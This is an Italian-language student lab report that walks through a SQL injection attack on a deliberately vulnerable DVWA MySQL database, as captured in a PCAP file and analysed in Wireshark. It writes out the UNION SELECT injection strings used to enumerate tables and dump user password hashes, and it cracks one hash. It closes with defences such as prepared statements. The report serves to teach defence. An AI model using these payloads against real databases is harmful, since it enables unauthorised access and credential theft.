Report Bonus 2: Attacco a un database MySQL (SQL Injection)

Contesto
In questo laboratorio abbiamo analizzato un file di rete (formato PCAP) contenente la traccia di un attacco SQL Injection contro un database MySQL vulnerabile. L'obiettivo era seguire passo passo l'attacco per comprendere come viene eseguito, quali informazioni vengono trafugate e come difendersi.

Parte 1: Apertura del file PCAP

Attraverso Wireshark, abbiamo aperto il file `SQL_Lab.pcap` situato nella cartella `/home/analyst/lab.support.files`. Il traffico copre circa 441 secondi e coinvolge due indirizzi IP:

- **10.0.2.15** (vittima - server con MySQL vulnerabile)
- **10.0.2.4** (attaccante)

Parte 2: Inizio dell'attacco di SQL Injection

L'attaccante inizia testando se l'applicazione è vulnerabile inviando una richiesta con `id=1%3D1` (che equivale a `1=1`).

- La risposta del server mostra un risultato valido dal database, confermando la vulnerabilità all'SQL Injection.

Parte 3: L'attacco continua

L'attaccante usa `1' OR 1=1 UNION SELECT database(), user()#` per ottenere:

- **Nome database**: `dvwa`
- **Utente del database**: `root@localhost`

Vengono anche visualizzati account utente come:

- `admin`, `gordonb`, `1337b0y`, `pablo`, `smithy`

Parte 4: Informazioni di sistema

Query inviata: `1' or 1=1 union select null, version ()#`

Risultato:

- **Versione del DBMS**: `5.7.12-0ubuntu1.1`

Parte 5: Enumerazione delle tabelle

Query: `1' OR 1=1 UNION SELECT null, table_name FROM information_schema.tables#`

Risultato: elenco di tabelle tra cui:

- `guestbook`, `users`, `engine_cost`

Parte 6: Estrazione delle password

Query finale: `1' OR 1=1 UNION SELECT user, password FROM users#`

Tra gli output troviamo:

- **User**: `smithy`
- **Hash**: `8d3533d75ae2c3966d7e0d4fcc69216b`

Utilizzando il sito https://crackstation.net/ l'hash è stato decifrato in:

- **Password in chiaro**: `password`

Domande di Riflessione

1. **Qual è il rischio che le piattaforme utilizzino il linguaggio SQL?**
    - SQL è onnipresente nei sistemi web e un'iniezione SQL può compromettere completamente l'integrità e la riservatezza dei dati. La gravità dell'attacco dipende dall'abilità dell'aggressore e dalla configurazione del sistema.
2. **Come prevenire attacchi di SQL injection? (almeno 2 metodi)**
    - Utilizzare query parametrizzate/preparate (Prepared Statements)
    - Filtrare e validare accuratamente l'input dell'utente

- Utilizzare web application firewall (WAF)
- Limitare i privilegi degli utenti del database

Conclusione

Il laboratorio ha dimostrato come una semplice vulnerabilità SQL Injection possa compromettere completamente un database, mostrando dati sensibili e hash di password. Questo sottolinea l'importanza dell'hardening delle applicazioni e del controllo sull'input utente.